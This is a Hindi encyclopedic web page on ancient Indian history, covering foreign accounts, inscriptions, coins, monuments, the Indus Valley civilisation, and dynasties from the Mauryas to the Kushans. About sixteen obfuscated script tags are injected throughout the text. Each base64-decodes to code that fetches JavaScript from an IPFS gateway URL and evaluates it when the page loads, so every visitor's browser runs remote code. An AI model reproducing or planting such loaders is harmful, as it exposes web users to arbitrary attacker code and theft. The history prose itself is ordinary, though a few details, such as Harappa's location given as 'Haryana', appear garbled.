  • अन्य पुस्तकों में 'पेरीप्लस ऑफ़ द एरिथ्रियन सी', लगभग 150 ई. के आसपास टॉलमी का भूगोल, प्लिनी का 'नेचुरल हिस्टोरिका' (ई. की प्रथम सदी) महत्त्वपूर्ण है। ‘पेरीप्लस ऑफ द एरिथ्रियन सी‘ ग्रंथ जिसकी रचना 80 से 115 ई. के बीच हुई है, में भारतीय बन्दरगाहों एवं व्यापारिक वस्तुओं का विवरण मिलता है। प्लिनी के ‘नेचुरल हिस्टोरिका‘ से भारतीय पशु, पेड़-पौधों एवं खनिज पदार्थो की जानकारी मिलती है।

चीनी लेखक

चीनी लेखकों के विवरण से भी भारतीय इतिहास पर प्रचुर प्रभाव पड़ता है सभी चीनी लेखक यात्री बौद्ध मतानुयायी थे और वे इस धर्म के विषय में कुछ विषय जानकारी के लिए ही भारत आये थे। चीनी बौद्ध यात्रियों में से प्रमुख थे- फ़ाह्यान, ह्वेनसांग, इत्सिंग, मल्वानलिन, चाऊ-जू-कुआ आदि।

  • मल्वानलिन ने हर्ष के पूर्व अभियान एवं 'चाऊ-जू-कुआ' ने चोलकालीन इतिहास पर प्रकाश डाला।

अरबी लेखक

पूर्व मध्यकालीन भारत के समाज और संस्कृति के विषयों में हमें सर्वप्रथम अरब व्यापारियों एवं लेखकों से विवरण प्राप्त होता है। इन व्यापारियों और लेखकों में मुख्य हैं- अलबेरूनी, सुलेमान और अलमसूदी

  • उपर्युक्त विदेशी यात्रियों के विवरण के अतिरिक्त कुछ फारसी लेखकों के विवरण भी प्राप्त होते है जिनसे भारतीय इतिहास के अध्ययन में काफ़ी सहायता मिलती है। इसमें महत्त्वपूर्ण हैं-
  1. फ़िरदौसी (940-1020 ई.) कृतशाहनामा, (Book of Kings)
  2. रशदुद्वीन कृत 'जमीएत अल तवारीख़' अली अहमद कृत ‘चाचनामा‘ मिनहाज-उल-सिराज कृत ‘तबकात-ए-नासिरी‘, जियाउद्वीन बरनी कृत ‘तारीख-ए-फिरोजशाही एवं अबुल फ़ज़ल कृत ‘अकबरनामा‘ आदि।
  3. यूरोपीय यात्रियों में 13 वी शताब्दी में वेनिस (इटली) से आये से सुप्रसिद्व यात्री मार्कोपोलों द्वारा दक्षिण के पाण्ड्य राज्य के विषय में जानकारी मिलती है।

पुरातत्व

पुरातात्विक साक्ष्य के अंतर्गत मुख्यतः अभिलेख, सिक्के, स्मारक, भवन, मूर्तियां चित्रकला आदि आते हैं।

प्राचीन राज्य सीमा मानचित्र
भारत- पाषाण काल भारत में प्रस्तर युग के महत्त्वपूर्ण स्थल ॠग्वैदिक कालीन भारत वैदिक कालीन प्रमुख नदियाँ भारत- महाकाव्य काल भारत पर विदेशी आक्रमण भारत- कुषाण साम्राज्य भारतवर्ष- प्राकृतिक मानचित्र भारत- गुप्त साम्राज्य भारत- हर्ष साम्राज्य

अभिलेख

इतिहास निमार्ण में सहायक पुरातत्त्व सामग्री में अभिलेखों का महत्त्वपूर्ण स्थान है। ये अभिलेख अधिकांशतः स्तम्भों, शिलाओं, ताम्रपत्रों, मुद्राओं पात्रों, मूर्तियों, गुहाओं आदि में खुदे हुए मिलते हैं। यद्यपि प्राचीनतम अभिलेख मध्य एशिया के ‘बोगजकोई‘ नाम स्थान से क़रीब 1400 ई.पू. में पाये गये जिनमें अनेक वैदिक देवताओं - इन्द्र, मित्र, वरूण, नासत्य आदि का उल्लेख मिलता है।

अपने यथार्थ रूप में अभिलेख हमें सर्वप्रथम अशोक के शासन काल में ही मिलतें हैं। एक अभिलेख, जो हैदराबाद में 'मास्की' नामक स्थान पर स्थित है, में अशोक के नाम का स्पष्ट उल्लेख मिलता है। इसके अतिरिक्त 'गुर्जरा', मध्य प्रदेश, 'पानगुड्इया',मध्य प्रदेश से प्राप्त लेखों में भी अशोक का नाम मिलता है। अन्य अभिलेखों में उसको देवताओं का प्रिय ‘प्रियदर्शी‘ राजा कहा गया है। अशोक के अभिलेख मुख्यतः ब्राह्यी, खरोष्ठी तथा आरमाइक लिपियों में मिलतें हैं जिसमें अधिकांश ब्राह्यी में खुदे हुए हैं। इस लिपि को बांयी से दायीं ओर लिखा जाता है। पश्चिमोत्तर प्रान्त में प्रयुक्त होने वाली ‘खरोष्ठी लिपि‘ दायीं से बायीं ओर लिखी जाती थी। पाकिस्तान और अफ़ग़ानिस्तान, में पाये गये अशोक के अभिलेखों में प्रयुक्त लिपि आरमाइक व यूनानी थी।

अशोक के बाद अभिलेखों की परम्परा से जुड़े अन्य अभिलेख इस प्रकार हैं- खारवेल का खारवेल का हाथीगुम्फा, शक क्षत्रप प्रथम रुद्रदामान का जूनागढ़ अभिलेख, सातवाहन नरेश पुलुमावी का नासिक गुहालेख, हरिषेण द्वारा लिखित समुद्रगुप्त का प्रयाग स्तम्भ लेख, मालव नरेश यशोवर्मन का मन्दसौर अभिलेख, चालुक्य नरेश पुलकेशिन द्वितीय का ऐहोल अभिलेख, प्रतिहार नरेश भोज का ग्वालियर अभिलेख, स्कन्दगुप्त का भितरी तथा जूनागढ़ लेख, बंगाल के शासक विजय सेन का देवपाड़ा अभिलेख इत्यादि। कुछ गैर सरकारी अभिलेख हैं जैसे यवन राजदूत हेलियाडोरस का बेसनगर, विदिशा से प्राप्त गरुड़ स्तम्भ लेख। इससे द्वितीय शताब्दी ई.पू. में भारत में भागवत धर्म के विकसित होने के साक्ष्य मिलते हैं। मध्य प्रदेश के एरण से प्राप्त वराह प्रतिमा पर हूण राजा तोरमाण के लेखों का विवरण है।

मुद्रायें

विम कडफ़ाइसिस का सिक्का

भारतीय इतिहास अध्ययन में मुद्राओं की अतीव महत्ता है। भारत की प्राचीनतम मुद्राएं छठी शती ई.पू. में प्रचलित हुई। इन पर लेख नहीं होते थे। कुछ प्रतीक जैसे पर्वत, वृक्ष, पक्षी, मानव, पुष्प, जयामितीय आकृति आदि अंकित रहते थे। इन्हें आहत मुद्रा (पंच मार्क्ड क्वायन्स) कहा जाता था। सर्वप्रथम भारत में शासन करने वाले यूनानी शासकों की मुद्राओं पर लेख एवं तिथियां उत्कीर्ण मिलती हैं। सर्वाधिक मुद्राएं उत्तर मौर्य काल में मिलती हैं जो प्रधानतः सीसे, पोटीन, ताबें, कांसे, चांदी और सोने की होती हैं। कुषाणों के समय में सर्वाधिक शुद्ध सुवर्ण मुद्राएं प्रचलन में थे, पर सर्वाधिक सुवर्ण मुद्राएं गुप्त काल में जारी की गयी। समुद्रगुप्त की कुछ मुद्राओं पर 'यूप' पर 'अश्वमेध यज्ञ' और कुछ पर वीणा बजाते हुए दिखाया गया है। कनिष्क की मुद्राओं से यह पता चलता है कि वह बौद्ध धर्म का अनुयायी था। सातवाहन नरेश शातकर्णि की एक मुद्रा पर जलपोत का चित्र उत्कीर्ण है जिससे अनुमान लगाया जाता है कि उसने समुद्र विजय की थी। चन्द्रगुप्त द्वितीय की व्याघ्रशैली की मुद्राओं से उसकी पश्चिमी भारत के शकों की विजय सूचित होती है।

स्मारक एवं भवन

इतिहास निर्माण में भारतीय स्थापत्यकारों, वास्तुकारों और चित्रकारों ने अपने हथियार, छेनी, कन्नी, और तूलिका के द्वारा विशेष योगदान दिया। इनके द्वारा निर्मित प्राचीन इमारतें, मंदिर मूर्तियों के अवशेषों से भारत की प्राचीन सामाजिक, आर्थिक एवं धार्मिक परिस्थितियों का ज्ञान होता है। खुदाई में मिले महत्त्वपूर्ण अवशेषों में हडप्पा सभ्यता, पाटलिपुत्र की खुदाई में चन्द्रगुप्त मौर्य के समय लकड़ी के बने राजप्रसाद के ध्वंसावशेष, कौशाम्बी की खुदाई से महाराज उदयन के राजप्रसाद एवं घोषितराम बिहार के अवशेष अंतरजीखेड़ा में खुदाई से लोहे के प्रयोग के साक्ष्य, पांडिचेरी के अरिकामेडु में खुदाई से रोमन मुद्राओं, बर्तन आदि के अवशेषों से तत्कालीन इतिहास एवं संस्कृति की जानकारी प्राप्त होती है। उस समय मंदिर निर्माण की प्रचलित नागर शैलियों में ‘ नागर शैली‘ उत्तर भारत में प्रचलित थी जबकि द्रविड़ शैली दक्षिण भारत में प्रचलित थी। दक्षिणापथ में निर्मित वे मंदिर जिसमें नागर एवं द्रविड़ दोनों शैलियों का समावेश है उसे ‘वेसर शैली‘ कहा गया है। 8वीं शताब्दी में जावा में निर्मित बोराबुदुर मंदिर से बौद्ध धर्म की पहचान शाखा के प्रचलित होने का प्रमाण मिलता है।

मूर्तियाँ

प्राचीन काल में मूर्तियों का निर्माण कुषाण काल से आरम्भ होता है। कुषाणें, गुप्त शासकों एवं उत्तर गुप्तकाल में निर्मित मूर्तियों के विकास में जनसामान्य की धार्मिक भावनाओं का विशेष योगदान रहा है। कुषाणकालीन मूर्तियों एवं गुप्तकालीन मूर्तियों में व्याप्त मूलभूत अंतर इस प्रकार है-

  • कुषाणकालीन मूर्तियां विदेशी प्रभाव से ओतप्रोत हैं वहीं पर गुप्तकालीन मूर्तियां स्वाभविकता से ओत-प्रोत हैं।
  • भरहुत, बोधगया, सांची और अमरावती में मिली मूर्तियां, मूर्तिकला में जनसामान्य के जीवन की अति सजीव झांकी प्रस्तुत करती है।

इन्हें भी देखें: मूर्ति कला मथुरा<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्रकला

चित्रकला से हमें उस समय के जीवन के विषय में जानकारी मिलती है। अजंता के चित्रों में मानवीय भावनाओं की सुन्दर अभिव्यक्ति मिलती है। चित्रों में ‘माता और शिशु‘ या ‘मरणशील राजकुमारी‘ जैसे चित्रों से गुप्तकाल की कलात्मक पराकाष्ठा का पूर्ण प्रमाण मिलता है।

पाषाण काल

अस्त्र, मोहनजोदाड़ो 3000 ई.पू.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

समस्त इतिहास को तीन कालों में विभाजित किया जा एकता है-

  1. प्राक्इतिहास या प्रागैतिहासिक काल(Prehistoric Age),
  2. आद्य ऐतिहासिक काल(Proto-historic Age)
  3. ऐतिहासिक काल(Historic Age)

भारत की आदिम (प्रारंभिक) जातियाँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

प्रारम्भिक काल में भारत में कितने प्रकार की जातियां निवास करती थीं, उनमें आपसी सम्बन्घ किस स्तर के थे, आदि प्रश्न अत्यन्त ही विवादित हैं। फिर भी नवीनतम सर्वाधिक मान्यताओं में 'डॉ. बी.एस. गुहा' का मत है। भारतवर्ष की प्रारम्भिक जातियों को छः भागों में विभक्त किया जा सकता है। - 1. नीग्रिटों 2. प्रोटो-ऑस्ट्रेलियाईड 3. मंगोलायड 4. भूमध्य सागरीय 5. पश्चिमी ब्रेकी सेफल 6. नॉर्डिक

सिंधु घाटी सभ्यता

सिन्ध में मोहनजोदाड़ो में हड़प्पा संस्कृति के अवशेष

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

आज से लगभग 70 वर्ष पूर्व पाकिस्तान के 'पश्चिमी पंजाब प्रांत' के 'माण्टगोमरी ज़िले' में स्थित 'हरियाणा' के निवासियों को शायद इस बात का किंचित्मात्र भी आभास नहीं था कि वे अपने आस-पास की ज़मीन में दबी जिन ईटों का प्रयोग इतने धड़ल्ले से अपने मकानों का निर्माण में कर रहे हैं, वह कोई साधारण ईटें नहीं, बल्कि लगभग 5,000 वर्ष पुरानी और पूरी तरह विकसित सभ्यता के अवशेष हैं। इसका आभास उन्हें तब हुआ जब 1856 ई. में 'जॉन विलियम ब्रन्टम' ने कराची से लाहौर तक रेलवे लाइन बिछवाने हेतु ईटों की आपूर्ति के इन खण्डहरों की खुदाई प्रारम्भ करवायी। खुदाई के दौरान ही इस सभ्यता के प्रथम अवशेष प्राप्त हुए, जिसे इस सभ्यता का नाम ‘हड़प्पा सभ्यता‘ का नाम दिया गया।

विशेष इमारतें

सिंधु घाटी प्रदेश में हुई खुदाई कुछ महत्त्वपूर्ण ध्वंसावशेषों के प्रमाण मिले हैं। हड़प्पा की खुदाई में मिले अवशेषों में महत्त्वपूर्ण थे - दुर्ग, रक्षा-प्राचीर, निवासगृह, चबूतरे, अन्नागार आदि ।

दुर्ग

नगर की पश्चिमी टीले पर सम्भवतः सुरक्षा हेतु एक 'दुर्ग' का निर्माण हुआ था जिसकी उत्तर से दक्षिण की ओर लम्बाई 460 गज एवं पूर्व से पश्चिम की ओर लम्बाई 215 गज थी। ह्वीलर द्वारा इस टीले को 'माउन्ट ए-बी' नाम प्रदान किया गया है। दुर्ग के चारों ओर क़रीब 45 फीट चौड़ी एक सुरक्षा प्राचीर का निर्माण किया गया था जिसमें जगह-जगह पर फाटकों एव रक्षक गृहों का निर्माण किया गया था। दुर्ग का मुख्य प्रवेश मार्ग उत्तर एवं दक्षिण दिशा में था।

दुर्ग के बाहर उत्तर की ओर 6 मीटर ऊंचे 'एफ' नामक टीले पर पकी ईटों से निर्मित अठारह वृत्ताकार चबूतरे मिले हैं जिसमें प्रत्येक चबूतरे का व्यास क़रीब 3.2 मीटर है चबूतरे के मध्य में एक बड़ा छेद हैं, जिसमें लकड़ी की ओखली लगी थी, इन छेदों से जौ, जले गेंहू एवं भूसी के अवशेष मिलतें हैं। इस क्षेत्र में श्रमिक आवास के रूप में पन्द्रह मकानों की दो पंक्तियां मिली हैं जिनमें सात मकान उत्तरी पंक्ति आठ मकान दक्षिणी पंक्ति में मिलें है, प्रत्येक मकान में एक आंगन एवं क़रीब दो कमरे अवशेष प्राप्त हुए हैं। ये मकान आकार में 17x7.5 मीटर के थे। चबूतरों के उत्तर की ओर निर्मित अन्नागारों को दो पंक्तियां मिली हैं, जिनमें प्रत्येक पंक्ति में 6-6 कमरे निर्मित हैं, दोनों पंक्तियों के मध्य क़रीब 7 मीटर चौड़ा एक रास्ता बना था। प्रत्येक अन्नागार क़रीब 15.24 मीटर लम्बा एवं 6.10 मीटर चौड़ा हैं।

हड़प्पा मुहर

हड़प्पा लिपि

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

हड़प्पा लिपि का सर्वाधिक पुराना नमूना 1853 ई. में मिला था पर स्पष्टतः यह लिपि 1923 तक प्रकाश में आई। सिंधु लिपि में लगभग 64 मूल चिन्ह एवं 205 से 400 तक अक्षर हैं जो सेलखड़ी की आयताकार मुहरों, तांबे की गुटिकाओं आदि पर मिलते हैं। यह लिपि चित्रात्मक थी। यह लिपि अभी तक गढ़ी नहीं जा सकी है। इस लिपि में प्राप्त सबसे बड़े लेख में क़रीब 17 चिन्ह हैं। कालीबंगा के उत्खनन से प्राप्त मिट्टी के ठीकरों पर उत्कीर्ण चिन्ह अपने पार्श्ववर्ती दाहिने चिन्ह को काटते हैं। इसी आधार पर 'ब्रजवासी लाल' ने यह निष्कर्ष निकाला है - 'सैंधव लिपि दाहिनी ओर से बायीं ओर को लिखी जाती थी।'

मृण्मूर्तियां

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

हड़प्पा सभ्यता से प्राप्त मृण्मूर्तियों का निर्माण मिट्टी से किया गया है। इन मृण्मूर्तियों पर मानव के अतिरिक्त पशु पक्षियों में बैल, भैंसा, बकरा, बाघ, सुअर, गैंडा, भालू, बन्दर, मोर, तोता, बत्तख़ एवं कबूतर की मृणमूर्तियां मिली है। मानव मृण्मूर्तियां ठोस है पर पशुओं की खोखली। नर एवं नारी मृण्मूर्तियां में सर्वाधिक नारी मृण्मूर्तियां ठोस हैं, पर पशुओं की खोखली। नर एवं नारी- मृण्मूर्तियां में सर्वाधिक नारी मृण्मूर्तियां मिली हैं।

हड़प्पा सभ्यता के नगरों की विशेषताएं

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

हड़प्पा संस्कृति की सर्वाधिक महत्त्वपूर्ण विशेषता थी- इसकी नगर योजना। इस सभ्यता के महत्त्वपूर्ण स्थलों के नगर निर्माण में समरूपता थी। नगरों के भवनो के बारे में विशिष्ट बात यह थी कि ये जाल की तरह विन्यस्त थे।

हडप्पा जनजीवन

प्रधान अनुष्ठानकर्ता मोहनजोदाड़ो 2000 ई.पू.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

हडप्प्पा संस्कृति की व्यापकता एवं विकास को देखने से ऐसा लगता है कि यह सभ्यता किसी केन्द्रीय शक्ति से संचालित होती थी। वैसे यह प्रश्न अभी विवाद का विषय बना हुआ है, फिर भी चूंकि हडप्पावासी वाणिज्य की ओर अधिक आकर्षित थे, इसलिए ऐसा माना जाता है कि सम्भवतः हड़प्पा सभ्यता का शासन वणिक वर्ग के हाथ में था।

  • ह्नीलर ने सिंधु प्रदेश के लोगों के शासन को 'मध्यम वर्गीय जनतंन्त्रात्मक शासन' कहा और उसमें धर्म की महत्ता को स्वीकार किया।
  • स्टुअर्ट पिग्गॉट महोदय ने कहा 'मोहनजोदाड़ों का शासन राजतन्त्रात्मक न होकर जनतंत्रात्मक' था।
  • मैके के अनुसार ‘मोहनजोदड़ों का शासन एक प्रतिनिधि शासक के हाथों था।

सैंधव-सभ्यता का विनाश

सैधव-सभ्यता के पतन के संदर्भ में ह्नीलर का मत पूरी तरह से अमान्य हो चुका है। हरियूपिया का उल्लेख जो ऋग्वेद में प्राप्त है उस ह्नीलर ने हड़प्पा मान लिया और किले को पुर और आर्या के देवता इंद्र को पुरंदर (किले को नष्ट करने वाला) मानकर यह सिद्धांत प्रतिपादित कर दिया कि सैंधव नगरों का पतन आर्यो के आक्रमण के कारण् हुआ था। ध्यातव्य है कि ह्नीलर का यह सिद्धान्त तभी खंडित हो जाता है जब सिंधु-सभ्यता को नागरीय सभ्यता घोषित किया जाता है। मोहनजोदाड़ो से प्राप्त नर कंकाल किसी एक की समय के नहीं है जिनमें व्यापक नरसंहर द्योतित हो रहा है।

सैधव-सभ्यता के पतन के विषय में इतिहासकारों के मत
मत इतिहासकार
1- प्रशासनिक शिथिलता के कारण इस सभ्यता का विनाश हुआ। जॉन मार्शल
2- जलवायु में हुए परिवर्तन के कारण यह सभ्यता नष्ट हुई। ऑरेल स्टाइन
3- सिंधु सभ्यता बाढ़ के कारण नष्ट हुई। अर्नेस्ट मैके एवं जॉन मार्शल
4- भू तात्विक परिवर्तन के कारण सभ्यता नष्ट हुई। एम.आर.साहनी, आर.एल.राइक्स, जॉर्ज एफ.डेल्स, एच.टी.लैम्ब्रिक
5- मोहनजोदाड़ो के लोगों की आग लगाकर हत्या कर दी गयी। डी.डी. कोसाम्बी
6- सैंधव सभ्यता विदेशी आक्रमण व आर्यों के आक्रमण से नष्ट हुई। गार्डन चाइल्ड, मार्टीमर ह्वीलर, डी.एच.गार्डन, स्टुअर्ड पिग्ग्ट

प्रागैतिहासिक काल

नृत्यांगना मोहनजोदाड़ो 2500 ई.पू.

भारत का इतिहास प्रागैतिहासिक काल से आरम्भ होता है। 3000 ई. पूर्व तथा 1500 ई. पूर्व के बीच सिंधु घाटी में एक उन्नत सभ्यता वर्तमान थी, जिसके अवशेष मोहन जोदड़ो (मुअन-जो-दाड़ो) और हड़प्पा में मिले हैं। विश्वास किया जाता है कि भारत में आर्यों का प्रवेश बाद में हुआ। आर्यों ने पाया कि इस देश में उनसे पूर्व के जो लोग निवास कर रहे थे, उनकी सभ्यता यदि उनसे श्रेष्ठ नहीं तो किसी रीति से निकृष्ट भी नहीं थी। आर्यों से पूर्व के लोगों में सबसे बड़ा वर्ग द्रविड़ों का था। आर्यों द्वारा वे क्रमिक रीति से उत्तर से दक्षिण की ओर खदेड़ दिये गए। जहाँ दीर्घ काल तक उनका प्रधान्य रहा। बाद में उन्होंने आर्यों का प्रभुत्व स्वीकार कर लिया। उनसे विवाह सम्बन्ध स्थापित कर लिये और अब वे महान भारतीय राष्ट्र के अंग हैं। द्रविड़ों के अलावा देश में और मूल जातियाँ थी, जिनमें से कुछ का प्रतिनिधित्व मुण्डा, कोल, भील आदि जनजातियाँ करती हैं जो मोन-ख्मेर वर्ग की भाषाएँ बोलती हैं। भारतीय आर्यों का प्राचीनतम साहित्य हमें वेदों में विशेष रूप से ऋग्वेद में मिलता है, जिसका रचनाकाल कुछ विद्वान तीन हज़ार ई. पू. मानते हैं। वेदों में हमें उस काल की सभ्यता की एक झाँकी मिलती है। आर्यों ने इस देश को कोई राजनीतिक एकता प्रदान नहीं की। यद्यपि उन्होंने उसे एक पुष्ट दर्शन और धर्म प्रदान किया, जो हिन्दू धर्म के नाम से प्रख्यात है और कम से कम चार हज़ार वर्ष से अक्षुण्ण है। इन्हें भी देखें: आर्य, आर्यावर्त, सोम रस एवं वेद<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

महाजनपद युग

महाभारतकालीन भारत का मानचित्र

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

प्राचीन भारतीयों ने कोई तिथि क्रमानुसार इतिहास नहीं सुरक्षित रखा है। सबसे प्राचीन सुनिश्चित तिथि जो हमें ज्ञात है, 326 ई. पू. है, जब मक़दूनिया के राजा सिकन्दर ने भारत पर आक्रमण किया। इस तिथि से पहले की घटनाओं का तारतम्य जोड़ कर तथा साहित्य में सुरक्षित ऐतिहासिक अनुश्रुतियों का उपयोग करके भारत का इतिहास सातवीं शताब्दी ई. पू. तक पहुँच जाता है। इस काल में भारत क़ाबुल की घाटी से लेकर गोदावरी तक षोडश जनपदों में विभाजित था।

इन राज्यों में आपस में बराबर लड़ाई होती रहती थी। छठीं शताब्दी ई. पू. के मध्य में बिम्बिसार तथा अजातशत्रु के राज्य काल में मगध ने काशी तथा कोशल पर अधिकार करने के बाद अपनी सीमाओं का विस्तार आरम्भ किया। इन्हीं दोनों मगध राजाओं के राज्यकाल में वर्धमान महावीर ने जैन धर्म तथा गौतम बुद्ध ने बौद्ध धर्म का उपदेश दिया। बाद के काल में मगध राज्य का विस्तार जारी रहा और चौथी शताब्दी ई. पू. के अंत में नन्द राजाओं के शासनकाल में उसका विस्तार बंगाल से लेकर पंजाब में व्यास नदी के तट तक सारे उत्तरी भारत में हो गया। इन्हें भी देखें: ब्राह्मण, अंधक संघ, कृष्ण एवं ब्रज<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

प्राचीन भारत

मौर्य और शुंग

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

यूनानी इतिहासकारों के द्वारा वर्णित 'प्रेसिआई' देश का राजा इतना शक्तिशाली था कि सिकन्दर की सेनाएँ व्यास पार करके प्रेसिआई देश में नहीं घुस सकीं और सिकन्दर, जिसने 326 ई. में पंजाब पर हमला किया, पीछे लौटने के लिए विवश हो गया। वह सिंधु के मार्ग से पीछे लौट गया। इस घटना के बाद ही मगध पर चंद्रगुप्त मौर्य (लगभग 322 ई. पू.-298 ई. पू.) ने पंजाब में सिकन्दर जिन यूनानी अधिकारियों को छोड़ गया था, उन्हें निकाल बाहर किया और बाद में एक युद्ध में सिकन्दर के सेनापति सेल्युकस को हरा दिया। सेल्युकस ने हिन्दूकुश तक का सारा प्रदेश वापस लौटा कर चन्द्रगुप्त मौर्य से संधि कर ली। चन्द्रगुप्त ने सारे उत्तरी भारत पर अपना प्रभुत्व स्थापित किया। उसने सम्भ्वतः दक्षिण भी विजय कर लिया। वह अपने इस विशाल साम्राज्य पर अपनी राजधानी पाटलिपुत्र से शासन करता था। उसकी राजधानी पाटलिपुत्र वैभव और समृद्धि में सूसा और एकबताना नगरियों को भी मात करती थी। उसका पौत्र अशोक था, जिसने कलिंग (उड़ीसा) को जीता। उसका साम्राज्य हिमालय के पादमूल से लेकर दक्षिण में पन्नार नदी तक तथा उत्तर पश्चिम में हिन्दूकुश से लेकर उत्तर-पूर्व में आसाम की सीमा तक विस्तृत था। उसने अपने विशाल साम्राज्य के समय साधनों को मनुष्यों तथा पशुओं के कल्याण कार्यों तथा बौद्ध धर्म के प्रसार में लगाकर अमिट यश प्राप्त किया। उसने बौद्ध धर्म के प्रचार के लिए भिक्षुओं को मिस्र, मक़दूनिया तथा कोरिन्थ (प्राचीन यूनान की विलास नगरी) जैसे दूर-दराज स्थानों में भेजा और वहाँ लोकोपकारी कार्य करवाये। उसके प्रयत्नों से बौद्ध धर्म विश्वधर्म बन गया। परन्तु उसकी युद्ध से विरत रहने की शान्तिपूर्ण नीति ने उसके वंश की शक्ति क्षीण कर दी और लगभग आधी शताब्दी के बाद पुष्यमित्र ने उसका उच्छेद कर दिया। पुष्यमित्र ने शुंगवंश (लगभग 185 ई. पू.- 73 ई. पू.) की स्थापना की, जिसका उच्छेद कराव वंश (लगभग 73 ई. पू.-28 ई. पू.) ने कर दिया। इन्हें भी देखें: अशोक के शिलालेख, अशोक, बुद्ध, बौद्ध दर्शन, बौद्ध धर्म, फ़ाह्यान, पाटलिपुत्र एवं तक्षशिला<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

शक, कुषाण और सातवाहन

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

मौर्यवंश के पतन के बाद मगध की शक्ति घटने लगी और सातवाहन राजाओं के नेतृत्व में मगध साम्राज्य दक्षिण से अलग हो गया। सातवाहन वंश को आन्ध्र वंश भी कहते हैं और उसने 50 ई. पू. से 225 ई. तक राज्य किया। भारत में एक शक्तिशाली केन्द्रीय सरकार के अभाव में बैक्ट्रिया और पार्थिया के राजाओं ने उत्तरी भारत पर आक्रमण शुरू कर दिये। इन आक्रमणकारी राजाओं में मिनाण्डर सबसे विख्यात है। इसके बाद ही शक राजाओं के आक्रमण शुरू हो गये और महाराष्ट्र, सौराष्ट्र तथा मथुरा शक क्षत्रपों के शासन में आ गये। इस तरह भारत की जो राजनीतिक एकता भंग हो गयी थी, वह ईस्वीं पहली शताब्दी में कुजुल कडफ़ाइसिस द्वारा कुषाण वंश की शुरूआत से फिर स्थापित हो गयी। इस वंश ने तीसरी शताब्दी ईस्वीं के मध्य तक उत्तरी भारत पर राज्य किया।

